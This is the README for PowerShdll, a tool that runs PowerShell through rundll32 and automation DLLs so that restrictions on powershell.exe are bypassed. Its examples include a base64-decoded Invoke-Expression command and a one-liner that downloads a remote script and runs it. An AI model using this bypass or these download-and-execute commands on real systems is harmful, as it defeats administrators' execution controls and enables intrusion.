PowerShdll

Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls.

dll mode:

Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window
rundll32 PowerShdll,main -i      Start an interactive console in this console

exe mode

Usage:
PowerShdll.exe <script>
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console

Examples

Run base64 encoded script

rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a

Download and run script

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

Known Issues

Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly!